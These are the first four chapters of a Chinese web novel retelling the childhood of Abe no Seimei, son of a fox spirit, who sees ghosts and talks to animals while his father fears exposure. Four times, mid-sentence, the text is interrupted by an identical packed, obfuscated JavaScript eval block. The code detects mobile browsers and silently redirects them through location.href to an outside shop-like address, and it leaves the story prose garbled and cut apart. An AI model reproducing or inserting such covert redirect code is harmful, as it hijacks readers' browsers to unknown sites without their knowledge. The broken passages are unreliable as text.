《白狐公子》 1. 第一章:易相别 安倍晴明五岁的时候,他第一次见到了妖怪。 或许是一场宿命,从那天开始,他的命运就与妖鬼之物联系在了一起,再也剥离不开了。 说来大概没人会相信,他见到的第一只妖怪不是旁人,正是他的亲生母亲,葛叶。 那一天,对整个平安京的人们来说,并不是什么特别的日子。 既不是什么节日,也没有任何异兆,但是仅仅对于晴明而言,那一天所发生的事,几乎是完全改变了他的命运。 他所敬爱着的母亲,在他面前,或者说是只在他的眼中,变了个模样。 原本温婉的女人消失了,晴明的母亲,葛叶,变成了一只雪白色的大狐狸。 而那只狐狸似乎没发现什么不对劲,它朝他走了过来。 “晴明。”狐狸张开了它的尖嘴巴,用晴明熟悉的声音轻柔地唤晴明的名字。 他伸出手去摸了摸狐狸脸颊上柔软的毛,笑了。 他说:“母亲大人变成狐狸了。” 晴明一边笑,一边歪了歪脑袋,他年纪还小,不明白自己的话意味着什么,否则他就不会这样说了。 这一句话,让狐狸僵住了。 而他们身后,刚刚从房间里走出来的安倍益材也愣住了。 安倍益材,葛叶的丈夫,安倍晴明的父亲。 其实在他看来,这一幕没什么不正常的地方。 深爱的妻子正蹲下身子要去抱年幼的儿子,和平常没什么不一样的。 但是晴明怎么会无缘无故地说出那样一句话? “你……看见了?”这一瞬间,葛叶的表情似乎有点可怕,她死死地盯住了晴明的眼睛。 “嗯!”晴明没发觉什么不对劲,还很开心地踮起脚尖要去摸大狐狸的耳朵。 葛叶叹了口气,把头低了低让晴明摸得方便一点,她说:“果然。” “这是怎么回事?”安倍益材忍不住了,大步走了出来。 “和泉国,信太森林。”葛叶没看安倍益材的脸,她低声道:“还记得吗?” “这……当然。”安倍益材被葛叶问得一愣,但葛叶提起的那片森林是他绝不会忘记的,那是他和葛叶第一次见面的地方。 六年前,他去信太森林的神社参拜,无意中为救一只被猎人追捕的白狐而受了伤,然后就遇见了葛叶,葛叶为他包扎伤口,再后来…… 他们自然而然地相爱,就有了晴明。 “我就是你那天救下的白狐。”葛叶似乎低声念了句什么话,然后抬起头,直视安倍益材的眼睛。 ! 安倍益材猛然后退了一步。 他依然看不见妻子的狐形,但他看见了更骇人的东西。 葛叶的眼睛里,瞳孔消失了,完全变成了一片空寂的白色。 那完全是一双非人的眼睛! “罢了,这六年里,救命之恩也偿得清了。”葛叶看到了安倍益材的惊惧,长叹一声:“就当作是缘分已尽,从此,两不相见便是。” “唯一放心不下的……”葛叶低头看了看懵懵懂懂的幼子,面上现出犹豫之色。 她很想带走她的儿子,可是随她成了妖之后,又怎么样呢?一辈子都要被迫躲躲藏藏,逃避阴阳师的追捕…… 于是葛叶又用那双妖瞳盯住了安倍益材:“晴明也是你的儿子,我恳求你,无论如何,千万不要把他交到阴阳师手上。” 安倍益材发现自己在那双诡异的眼睛的注视下说不出任何拒绝的话来,他只能点了点头。 葛叶像是满意了,不再理会安倍益材,低下头去和晴明说话。 在晴明眼中,母亲则一直是白狐的模样,他好像很喜欢大狐狸柔顺温暖的毛发。 “你天生灵力,能平安顺遂在人世度过此生自然很好。”葛叶轻柔地摸了摸晴明的头发,继续说:“只是人心难测,你的血脉怕是终有一天会成为你最大的阻碍。” 白狐轻轻蹭了蹭晴明的脸,口吐人言:“晴明,你要记得,吾名葛叶,是化形为人的妖狐。若有一日,你受世人怨妒,无处可去的时候,不要忘了,要来森林找我,你的灵力会为你引路的。” 白狐尾巴低垂,四爪在地面上一按,纵身跃起,头也不回。 “母亲……大人?”晴明怔愣地望着葛叶离开的方向,然后疑惑地扭头去看父亲,像是期望父亲可以给他一个解答。 “……”安倍益材心中烦乱至极,任何一个男人在忽然得知和自己同床共枕了多年的女人竟是只狐狸的时候,大概都没办法冷静得下来。 就连晴明在他眼中也越来越像一只狐狸崽子。 他想起往日晴明显露出的,不符合他年纪的聪明狡黠,更是心烦意乱。 狐狸,不就是天生狡猾的吗? 这孩子半人半狐…… 究竟该算是人类呢?还是妖怪? 安倍益材此时满脑子都是平安京里流传的妖鬼害人的故事,他坐不住了。 妖鬼皆是以人为食,如果他把这个孩子养大了…… 若以后真的酿出祸端,岂不就是他的过错? 对了,阴阳师……如果把这个孩子交给阴阳师的话…… 安倍益材刚刚动了这个念头,立即就感到心脏一阵绞痛,痛得他腿一软摔倒在地,手死死地按住了心口,但这并不能让疼痛减少哪怕一分。 晴明被吓坏了,连忙跑过去看视,却被安倍益材狠狠地推到了一边。 葛叶…… 那只假扮成人的狐妖,一定是它对他下了恶咒! 想到这一节,安倍益材忙大叫道:“我不会把他送给阴阳师的!” 说来也怪,就在安倍益材喊出这句话后不久,他的心脏竟真的不疼了。 安倍益材喘着粗气从地上爬起来,心有余悸地揉了揉前胸,刚才的疼痛让他对葛叶异常愤恨,他没理会身边眼巴巴地望着自己的儿子,换好衣服快步走出了自家的宅邸。 他可从没答应过不去找阴阳师来对付葛叶,既然她敢下恶咒害他,那也不要怪他不顾念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16460576|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昔日的情分了! 怒火扭曲了当年从猎人手中挽救白狐的温柔男人,一个为保护幼子而设下的咒印让他面目全非。 但当阴阳师向他询问那只妖狐的真名时,他又犹豫了。 据阴阳师所说,名字便是咒的一种,如果能够得知妖鬼的真名,任何略通阴阳道的人便都可以对它们下咒。 如果葛叶被人下了咒,她会怎么样? 阴阳师对妖大概是不会手下留情的。 安倍益材不由自主地忆起了平日里的相处,虽然葛叶对他隐瞒了自己是妖的事实,但她从来没有试图伤害过他。 这次她下咒也不过是要保护她的孩子而已。 而晴明同样也是他的儿子…… 安倍益材最后什么也没说,面对阴阳师探询的目光,狼狈地逃掉了,全然失去了他贵族的风度。 他漫无目的地在外面走着,不想回家,他不知道该怎样面对自己半人半狐的儿子。 即使理智知道这个孩子是最无辜的,但他依然不想见他。 半人半妖的怪物又要如何存于人世? 如果有一天他要吃人,那又该怎么办? “妖鬼伤人,就可以不问缘由、不问是非地将其诛杀吗?难道你们都认为这很公平?” 一个稍显高昂的声音吸引了安倍益材的注意力,他朝那边看了过去。 几个身着不同颜色狩衣的人似乎在争论着什么,他们泾渭分明地分成了两派,其中一边人多势众,而另一边只有区区两个人而已,其中一个还不过是个孩子,看样子像是刚刚受业的学生。 狩衣近些年已成了阴阳师的专用服式,很少有普通人再穿狩衣了。 看来那些人都是阴阳师,安倍益材想着刚才无意中听见的话,便悄悄靠了过去,躲在一根柱子后面偷听。 虽然很不合礼仪,但是他现在确实急需要了解阴阳师们对妖的看法。 他听见有人挖苦地说:“哦?那贺茂大人是认为我们该对害人的妖网开一面咯?以便于让它们继续伤人?” 贺茂! 安倍益材记得这个姓氏,前不久天皇为了试探阴阳师的占卜能力,将一串水晶珠子藏到了箱子里,命令一个名叫贺茂忠行的阴阳师为他占卜,而贺茂忠行不费吹灰之力就卜出了正确的结果。 听说天皇如今很信任贺茂忠行,时常叫他进宫觐见。 今天这么巧? 安倍益材又听见了那个声音,穿透力很强但并不显得激烈:“我并没有那样说。我的意思是,未必妖鬼都是恶灵,它们和我们一样,有善恶之分,不该一概而论的。” 妖鬼和人一样?安倍益材第一次听说这种论调,这种话放在以前,他会毫不犹豫地嗤之以鼻,但现在他愿意相信这样的说法。 就像垂死的人忽然抓住了一根稻草,即使看起来再不可靠,他也愿意一试。 他跌跌撞撞地回到了家里,并不知道他身后,那个提出“妖鬼与人无异”论点的阴阳师皱着眉头,瞥了他一眼。 2. 第二章:异类 自晴明看见自己母亲白狐本相的那天起,他所有的异于常人之处便开始纷纷展现了出来。 好在目前为止晴明还没做过什么太出格的事,总体而言,晴明的表现仍然和寻常的孩子没什么太大区别。 安倍益材暗自松了口气,或许晴明这孩子也并不十分像个妖怪。 但事实证明,安倍益材这口气松得太早了。 某日,安倍益材正要出门,晴明抱着把伞,那伞几乎和他一样高,跌跌撞撞地跑出来,喘着气,大声说:“父亲大人!带上伞吧,一会儿是要下雨的!” 当时晴空万里,所以安倍益材并没有把晴明的话放在心上,只当作是小孩子的胡话,摸了摸晴明的头发,没去接那把伞就出门去了。 可他没走出多远,冷风就刮了起来,紧接着下起了大雨倾盆。 类似的事发生了很多次,安倍益材不得不正视晴明的“预言”了。 这些“预言”有时也会出现错误,但那只是少数的情况,大多数时候,晴明的话都会成真。 虽然只不过是“今天会下雨”、或者“衣服的后裾会被人踩到”这类的、微不足道的小“预言”而已,但这显然不是一个正常的五岁孩子能做到的事。 安倍益材心中揣揣不安,但又不敢问,生怕他的儿子会给他什么骇人听闻的答案。 说来似乎有些叫人哭笑不得,安倍益材作为一个成年男人,居然会害怕自己的儿子。 然而,这还不过是晴明所展露出的冰山一角。 “它不喜欢吃这种鱼喔!” 当安倍益材陪着晴明在庭院里喂一只溜进来讨食的大狸花猫时,晴明忽然这样说着,并且把自己手里的鱼肉丢到了不远处的矮树丛里。 “晴明!不能这样浪费食物!”安倍益材语气并不很重地训斥了一句,起身正要去把鱼肉捡回来,却见一道姜黄色的影子掠过,鱼肉随即没了踪影。 “欸?这里也藏了只猫吗?”安倍益材弯下腰往树丛里张望,一阵动物的低吼声随即从那里面响了起来。 “不用怕嘛,父亲大人他没恶意的。”晴明盘膝坐在地上,一边说,一边从衣服里摸出了一块甜糕,捏碎放在手心,喂给了那只在他腿边不停蹭着脑袋的大狸花猫。 “还真胆小。”安倍益材笑了笑,转回身的时候正看见晴明拿着甜糕喂猫,连忙责备道:“晴明,你又在衣服里藏甜食!” “可是它说它喜欢这个味道啊。”晴明摊开手掌以方便猫把他手心里的碎屑舔干净,同时无辜地抬起头,解释说:“昨天我在院子里吃这个,它尝了一点,说很喜欢而且明天还要再来吃。所以我才带了一点给它。” “你在说什么啊?”安倍益材失笑:“你又听不懂它们说的话。” “能听懂呀。”晴明挠了挠大狸花猫的下巴,后者舒服地眯起了眼睛。 “……”还没等安倍益材想明白晴明这话到底是不是在开玩笑,忽然从矮树丛里传出了两声微弱的猫叫。 “你还想吃呀?”晴明抬头往发出声音的方向又看了一眼,说:“那就出来嘛,我父亲那里还有鱼,可以给你吃。” 晴明话音刚落,一只瘦小的姜黄色小猫竟真的试探性地从矮树丛里探出了脑袋。 “咦?”安倍益材一惊,不过他并不能确定这到底是巧合还是晴明的话确实起了作用。 安倍益材这一声惊呼吓得那只小猫闪电般又缩了回去。 “别怕嘛。”晴明想了想,低下头对那只堂而皇之躺在他腿上的狸花猫说:“你来告诉它吧,就说这边很安全,没什么可怕的。” 狸花猫懒洋洋地打了个呵欠,然后喵喵叫了几声。 这几声猫叫效果立竿见影,那只警惕的小猫飞快地从藏身之处窜出来,抓着安倍益材的衣服爬上去,叼起他手里的鱼肉就跑。 大狸花猫发出几声低低的咕噜,晴明笑了,赞同道:“是呀,是个没礼貌的小猫。” 安倍益材冷静了一会儿。 然后他问:“你是怎么做到的?晴明?” 晴明好不容易才把注意力从猫身上移开,转向他的父亲,态度很自然地解释道:“我是想,既然小猫不信任我们的话,叫它的同类去和它说大概会好一些。” “我不是问这个,我是说,”安倍益材耐着性子:“你是怎么做到和猫沟通的?” 晴明很疑惑地搔了搔鬓角,似乎觉得安倍益材问的这个问题很奇怪:“这不是很容易吗?就像我们可以沟通一样啊。” 说这话的时候,晴明的眼睛一眨不眨地盯着他的父亲,瞳孔黑白分明。 “这不一样!”安倍益材越发焦躁,声音也变高了:“正常人是不可能跟猫说话的!” 晴明怀里的大猫喵呜一声溜走了,而晴明像是被吓到了,茫然地看着父亲。 安倍益材觉得自己应该开诚布公地和晴明谈一次,他竭力使自己的声音听起来更平和一些:“你大概没意识到,晴明,正常——我是说普通人是不可能和猫聊天的。” “可我听得懂啊。”晴明迷惑地歪了歪脑袋,说:“又不是很难的事。” “但是这种事对我们来说很难,根本就没有人类听得懂动物的语言。”安倍益材陪着晴明坐下来,深深吸了一口气,仔细斟酌着词句:“这不是你该做的事,你不应该和猫说话,也不应该表现得好像你能听得懂,不仅如此,你还应该规避你身上所有与普通人不同之处。” 晴明听得似懂非懂,他眨了眨眼睛,问道:“可是,父亲大人,我觉得和猫说话就是一件很平常的事啊。” 小孩子的眼睛似乎总是显得瞳孔更大些,于是,当安倍益材与晴明对视的时候,他又记起了葛叶那双没有眼白、不似人类的眼睛,不禁打了个寒战。 他大概永远都没办法再忘记那双眼睛所带给他的恐惧了,这是人类面对未知所产生的本能。 安倍益材索性动用了作为父亲的威严:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16460577|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不管你是怎么做到那种事的,总之,以后都不准你再和任何动物说话。还有那些你自鸣得意的所谓‘预言’,我也不管你是从哪里得到那些消息的,从现在开始,我不准你再说任何与‘未来’有关的话。”安倍益材沉下脸:“你给我好好记住这一点,晴明!” 他知道他对晴明的态度有失公允,但是他又有什么办法呢?他一看到这个孩子,就会不受控制地想起葛叶的那张可怕的脸。 无论是葛叶还是这个本不该存在的孩子,他们都是异类啊。 这种异常体现在各个方面,根本不是安倍益材刻意无视就能忽略掉的。 “父亲大人?” 在晴明疑惑的目光中,安倍益材落荒而逃。 从那之后,安倍益材一直刻意躲着晴明,很少和他说话,生怕他又说出或做出什么惊人的事。 而晴明因为父亲的冷落,也渐渐变得沉默寡言,终日坐在自己家的庭院里,不知在想些什么。 不过他倒是很听安倍益材的话,没再和什么跑进家里来的小动物说过话,也没再做过什么令安倍益材感到不安的预言。 安倍益材时常在晴明看不见的地方暗中观察他的举动,时间拖得越久,他就越愧疚,毕竟这个孩子郁郁寡欢的样子是他一手造成的。 “怎么不出去和其他孩子玩呢?”这是安倍益材这些天以来,第一次心平气和地跟他说话。 “父亲大人!”晴明很惊喜地跳了起来,抱住了安倍益材的腿。 “出去玩玩吧,我可没有对你禁足,记得早点回来就可以了。”安倍益材摸了摸晴明的脑袋。 “他们不和我玩。”晴明眨着黑白分明的眼睛,控诉道:“因为上次我看到了一个头上长着角的男人,他们没看见,说我说谎骗人,然后就不和我玩了。” 安倍益材的笑容僵住了:“你说你看见了什么?人长着角?” “是呀。”晴明使劲点了点头,竖起两根手指在自己头上比划:“就是像这样弯曲着的角,那人好高呢,有这么高……”他踮着脚,高高举起一只手臂,却发现自己的身高根本不足以形容那个人的高度,他又原地蹦了两下。 “是吗?大概是你看错了吧?”安倍益材努力想让这件事情听起来更正常些:“可能是那个人带了面具吧?” “不是不是!”晴明认真地反驳道:“我仔细看过了,那两只角就是长在那个人头上的!” 安倍益材想起了以往坊间流传的妖鬼怪谈,鬼不就正是青面獠牙,头上生角的吗? 想到这里,安倍益材如坠冰窖,从头到脚凉了个彻底。 如果晴明只是说他看到了鬼,那也倒罢了,毕竟妖鬼作祟的时候,也没少被人看见它们的身形,但晴明刚才分明是说,只有他一个人看见了鬼,这才是真正可怕的事情。 能看到别人看不到的东西,这不就是异类吗? 而或许对于晴明而言,该说那些“东西”是他的同类才对。 3. 第三章:妖与鬼 自从那次关于“鬼”的谈话过后,安倍益材又接连数日不愿意和晴明多说话。他实在是怕了,他在阳界生活得好好儿的,并不想被迫了解任何有关于阴界的事。 尤其是从他自己儿子的口中。 但晴明并不明白父亲不肯理他的原因,还以为父亲是为他不去找朋友玩而生气,可是这附近的孩子都不愿意和他一起玩。 对此他也感到一筹莫展。 直到有一天,他在自己家里发现了一个他之前从没见过的小女孩。 那个小女孩看起来年纪比他大一些,穿着一身红色的和服,脸上泛出一层死人似的青白。 晴明发现她的时候,她正睡在他家里的储藏室里,像是已经在这里住了很久了,而储藏室时常有仆人进进出出,竟然从来都没有人发现过这个小女孩的存在。 不过晴明年纪尚小,意识不到任何不对劲的地方,他只知道这个小女孩是第一个不躲着他的、年龄相仿的孩子,而且还和他颇为投缘。 而他能看得见的、听得见的东西,这个小女孩也同样看得见、听得见。 这个发现让晴明喜出望外,立即拉着小女孩去找父亲,但不知为什么,父亲一看到他来,立即往后退了几步。 “你手里拿着什么?晴明?”安倍益材的声音有些抖,但脸上还竭力保持着平静。 晴明不明白父亲为什么这么问,他看了看站在他身边的小女孩,而小女孩也同样转过头,用纯黑色的瞳孔望着他,然后缓缓地、僵硬地笑了笑。 晴明像是受到了鼓励,大声说道:“这是我的朋友,她说,她叫座敷童子!” “……”安倍益材不知道自己该不该高兴,因为座敷童子是一种无害的鬼,经常住在它们喜欢的人家里,给人们带来福运。 任何一个头脑清醒的人如果得知自己家里来了一个座敷童子,都会很欢迎它的入住,而且还会想方设法地让它永远留下来。 但是如果这个“头脑清醒的人”家里还养着一个狐妖之子,那情况就大不一样了。 更何况这个狐妖之子现在正牵着一个正常人类根本不可能看得见的座敷童子,两个人,或者说是一妖一鬼,都站在他面前。 这就完全不是一件能让人高兴得起来的事了。 那个座敷童子似乎说了句什么,因为晴明偏过头去看了看他身边的位置,然后对着那团安倍益材眼中的空气点了点头。 “父亲大人!”晴明有些苦恼地问:“您说该取个什么名字比较好呀?” “……”安倍益材根本没听见刚才那个座敷童子说的话,取名字?给谁?给座敷童子吗? 安倍益材根本没心思考虑什么名字的问题,他正在想办法把这个座敷童子赶出家门,什么福不福运的都不重要了,他绝对不允许他的儿子在妖怪中间长大。 “我知道了!”晴明很高兴地大声叫了起来:“就叫‘明美子’好了,听起来就好像我的妹妹一样!” 安倍益材很敷衍地点了点头,反正不管叫什么名字,这个座敷童子都不可能留在他家里。 “明美子?”晴明试探性地问座敷童子:“你喜欢这个名字吗?” 不知座敷童子回答了什么,但接下来,安倍益材看到了…… 一个死尸般的女孩子突然出现在他面前,而他的儿子晴明正牵着那女孩子的手。 安倍益材不敢细看,只知道它脸色青白,穿着一身鲜艳的红色和服,比晴明要高一些。 这就是座敷童子?为什么他会突然看见它? “谢谢你,晴明。”座敷童子——现在该叫它明美子,低声道谢,声音有些沙哑。她说:“我从没见过我父亲,而我的母亲每天都哭个不停。后来,母亲带我走进了一片树林,说要一起去找父亲。而在那之后,我就死了——甚至没有人为我取过名字。” “等我再醒过来的时候,我就变成了这个样子。”明美子揪了揪自己身上的大红色和服,继续说道:“我希望能找到一个愿意收留我的家,也希望可以有一个属于自己的名字,而不是只有一个模糊的统称‘座敷童子’。不过,我更希望不要再有像我一样不幸的家庭出现,或许这就是我成为‘座敷童子’的原因。” “我可以……和你们住在一起吗?”明美子咬着嘴唇,小心翼翼地征求安倍益材的意见,如果不是它的模样太像死人,这一幕原本应该是很可爱的。 “为什么我能突然看见你?”安倍益材没回答她的问题,他看了一眼明美子的脸就赶快又移开了目光。 但明美子对于这件事似乎也很迷惑:“我也不知道,以前从来没人看到过我。但是好像我的能力变强了一些……”她看了看自己的手,似乎在衡量自己的力量大小。 “那你还能变回去吗?我的意思是,让我看不见你。”鬼大白天出现在他家里这种事,实在是太难让人接受了。 “应该可以,我试一下……”明美子低声念了句什么话,然后她就像刚才突然出现一样,又突然消失了。 看不见的东西就可以当作它不存在,安倍益材舒了口气。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16460578|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “能让我住下来吗?我会带来福运,我不会捣乱的!”明美子的声音再一次响起,语气很诚恳:“我真的很喜欢这座房子,好像有什么东西吸引着我一样。” “父亲大人!”晴明也跟着一起说:“让她住下来嘛,可以把她当作是我的妹妹嘛!” 别胡闹,人家比你还大呢。安倍益材很想这样说,但现在他真的没有开玩笑的心情。 他同情这个座敷童子的命运,但是,真的要让晴明从此和一只鬼生活在一起吗? 他从来都不是个铁石心肠的人,否则当年也不会冒险去救葛叶了。 “你是怎么死的?”安倍益材深深吸了口气,又问:“你母亲呢?” “我不记得了。”明美子摇摇头,说:“我变成座敷童子之后,生前的很多事情就都记不太清楚了,只知道好像……很疼很疼。”她打了个寒噤,似乎那种痛苦已经铭刻在了灵魂之中。 “如果我说‘不允许你住在这里’,你会保证离开这里,再也不回来吗?” 安倍益材这样一说,晴明顿时急了:“父亲大人!” 安倍益材没理他。 会应他的是长久的沉默。 就在安倍益材即将失去耐心的时候,脸色青白的鬼——明美子又突然显露了身形,似乎有些不好意思地低下了头,小声说:“我没办法保证。” “不知道为什么,这座房子给我的吸引力太强了,即使大人您不允许我继续在这里住,恐怕我也不会真正离开的。”明美子又说,态度非常诚恳:“事实上,我已经在这里住了大约五六年了。” 安倍益材长叹一声,跌坐在地,半晌才说:“既然这样,又何必多此一举问我的意见,想住就住吧。” “我只是觉得,既然被发现了,还是应该和屋主知会一声。”明美子偏过头去看了看晴明的小脸:“这是个奇特的孩子,很少有人看得见我们,我想,他一定有些特异之处。” “这一点不用你说!”安倍益材忽然发起了脾气,把晴明和明美子统统赶出了自己的房间:“都给我出去!除了叫外人看见之外,随便你们做什么!” 两个孩子都离开之后,安倍益材花了好半天才冷静下来,晴明是他的儿子,这也倒罢了,但他真的要和一只鬼一起生活在同一个屋檐下吗? 他忽然想起座敷童子刚才说的“房子对它有很强的吸引力”,那是不是意味着…… 他的家出于某种原因,正在不断地吸引鬼来入住? 安倍益材冒出了一身冷汗。 4. 第四章:祓禊 自从安倍益材知道了自己家的房子会吸引鬼之后,他就一直想找个阴阳师来净宅,但又担心晴明半人半狐的身份被阴阳师察觉,这件事就只能这样一直拖着。 不管怎么说,晴明都是他的儿子,如果忽略掉他身上的所有异于常人之处的话,毫无疑问,晴明是个很好的孩子。 如今晴明年岁渐长,也开始明白自己和常人的不同之处,并在安倍益材的要求下,学会了掩盖自己的“异常”。 他不再去提那些预言、也不再对人说自己看到了什么青面獠牙的怪人,更不会再和任何动物说话了。 而相应的,他也越来越沉默内敛,只有回到家里才肯和明美子说几句话。 安倍益材不知道这样对晴明到底是不是好事,但至少有一件事是可以确定的,那就是:这样“正常”的晴明是不会被阴阳师当作妖怪抓去的。 某一天,安倍益材睡到半夜,忽然隐隐约约听到门外传来吱吱呀呀的声音,像是有人踩在地板上蹑手蹑脚地走路,他一下子惊醒过来,睡意全无。 有贼?这是安倍益材冒出的第一个念头,于是他悄悄披衣起床,顺手拿上了屋子里摆放着的太刀。 庭院里坐着两个孩子,一起抬着头仰望天空,小声说着话。 却是晴明和那个座敷童子,明美子。 安倍益材躲起来听了听他们的对话,他们似乎一直在聊星象和预言,还有一些安倍益材听不懂的话。 看他们的样子,显然已经不止一次做过这样的事了。 “你们在做什么?”安倍益材从藏身之处走出来,小声责问,因为他怕吵醒了睡在这附近的仆人,他没法想象这种事如果被仆人发现了…… 晴明和座敷童子冷不防被吓了一跳,同时惊讶地转过了头。 在月光的映照之下,晴明的脸就像座敷童子一样灰白,看起来也像是一只鬼。安倍益材因为自己的联想而打了个哆嗦。 “晚上不睡觉跑到这里看星星?”安倍益材厉声道:“我告诉过你,这种事情……” “也是不被允许的是吗?”晴明低声说,他从地上站了起来,从安倍益材身边走过:“我不会再这样做了。” 明美子也跟着站了起来,默默地看着晴明离开的背影。 从那之后,安倍益材再也没见到过晴明悄悄溜出去看星星。 这一年,晴明八岁,长高了些许,和明美子站在一起的时候,他已经比她高了。 明美子还是和以前一样住在储藏室里,平时会隐匿身形,只有在她与晴明独处的时候才会露面,因此,她的存在从没被人发现过。 这让安倍益材宽心不少,这个座敷童子似乎格外善解人意,并不像传言中的那样小孩子心性。 而家里是否真的出现了其他被房子吸引来的鬼,这一点安倍益材不知道,也完全不想知道,反正这些年来没有发生任何妖鬼作祟的事件,安倍益材本人又看不见鬼,对他来说,只要影响不到他的生活,那就没什么关系了。 平安京里妖鬼横生,不过这些都波及不到安倍益材身上。 在他的刻意掩盖下,一切都很好。 但风浪是谁都遏止不住的东西,一味地拦阻它只会让它愈演愈烈。 堵不如疏,很简单的道理。 大家都懂,可谁又敢放手一搏呢? 这些年天皇似乎格外信重阴阳师贺茂忠行,不仅时常命他觐见占卜,还把主持祓禊仪式的重任也交给了他。 祓禊仪式,即为驱除妖鬼的仪式,不过与通常的驱鬼不同,祓禊仪式是为妖鬼提供祭品,由阴阳师施展阴阳术召唤妖鬼们出现,若恶鬼肯吃下祭品,那就代表它们与阴阳师达成了某种契约,接受人类的供奉,同时不再作祟害人;而如果吃下祭品的不是恶灵,它们则将承诺护佑、帮助人类。 通常而言,妖鬼更愿意听从能力更强的阴阳师的召唤,所以每一个有能力主持祓禊仪式的阴阳师都是当时公认最强大的阴阳师。 举行祓禊仪式是平安京里的大事,不仅贵族和官员们会去观看仪式,而且天皇有兴致的时候也同样会去,每当这个时候,阴阳师总会更加卖力,可看性也更强一些。 安倍益材自然也不会错过这种盛会,即使他并不喜欢和妖鬼扯上关系。 而且他带上了晴明,如果有机会让他重新选择一次,他一定会后悔这个决定的。 贺茂忠行此人年纪似乎比安倍益材稍大一些,手里捏着柄五骨蝙蝠扇,显得很是儒雅,当天穿了一身浅蓝色的狩衣,身边还带着个同样身穿狩衣、捧着一把修长太刀的孩子。 他没像以前主持仪式的阴阳师那样夸张地狂舞,而是低声吟诵着一些谁都听不懂的咒语,最后,他摸出一张画好的符纸,夹在手指之间,低叱一声,符纸应声烧了起来。 于此同时,在场的所有人都感觉到了风。 与平常的风不同,这阵风仿佛冷到了骨子里,即使他们裹紧衣服也阻挡不了这种冷意。 贺茂忠行表现得很沉静,他从跟随他的那个孩子手里拔出太刀,在自己手心里一抹,鲜血瞬间把刀锋染成了殷红色。 就在贺茂忠行划破手掌的一瞬间,那种阴冷的感觉消失了,而风似乎全部围绕在了贺茂忠行身边。 风是看不见也摸不着的东西,但所有人此刻都莫名地觉得,那阵阴风围住了那个沉稳如山的阴阳师。 这很难用语言解释,就像妖鬼的举动常常无法用人类的思维方式来理解一样。 总之,这是另一个世界的事,那是一个不能用任何现有的知识和常识来解释、只能利用直觉来判断的世界。 贺茂忠行高高举起那把染血的太刀,口中继续念念有词,然后,他把刀上的血涂抹到了一边早已准备好的祭品上。 他退到了一边,收刀回鞘,递还给跟随他的那个孩子,然后才慢悠悠地包裹住手心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16460579|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的刀伤。 贺茂忠行的风格和之前的那些阴阳师相比相差太多了,他几乎没有任何花哨的动作,更不像是一场表演,仿佛真的有无数妖鬼应召而来,接受了他所提出的、庇佑人类的条件一般。 这场仪式上,天皇也在场,他坐在帷幔后面,观看这场妖鬼的饕餮盛宴。 而看贺茂忠行满不在乎的模样,好像不论天皇是不是在场,都完全不会影响他在仪式上的表现似的。 贵族们议论纷纷,猜测着天皇对待这场仪式的态度。 而晴明瞪大了眼睛,盯着那些在普通人眼里,毫无异状的贡品。 跟着贺茂忠行的那个穿着狩衣的孩子也在做同样的事,谁也不知道他们的眼睛究竟看得到什么。 但有一点是可以确定的,那就是:那绝对不是任何一个普通人类愿意看到的东西。 天皇清了清嗓子,正要说话,就在这时候,一只供奉用的苹果在众目睽睽之下自己飞了起来,引发了一阵惊呼。 这件事显然超出了贺茂忠行的预判,他的脸上终于出现了一丝惊讶的神情,不过他并没有出手阻止那只飞在空中的苹果。 那只苹果径直穿过人群,所过之处,大家纷纷避让开来,而那只苹果好像有明确的目标似的,落到了安倍父子身边。 更确切地说,是落到了晴明身边。 “父亲大人,这……”在晴明眼中,一只长相狰狞的小鬼举着那只苹果,努力地试图递到他手里。如果没看错的话,它的脸上似乎带着一丝……讨好似的表情? 晴明拿不准主意该不该去接那只苹果,他把求助的目光投向了安倍益材。 安倍益材:“……” 为什么会出这种事?偏偏还是在天皇面前,如果天皇下令彻查此事的话…… 晴明的秘密就瞒不住了。 安倍益材慌了,上百双眼睛都在看着这边,恐怕这一次,不仅他保不住晴明,就连他也自身难保。 最后还是贺茂忠行打破了这个僵局。 贺茂忠行鬼魅似的从贵族和官员中间穿行而过,替晴明接过了苹果,他微微低下头,居高临下地注视着晴明的眼睛。 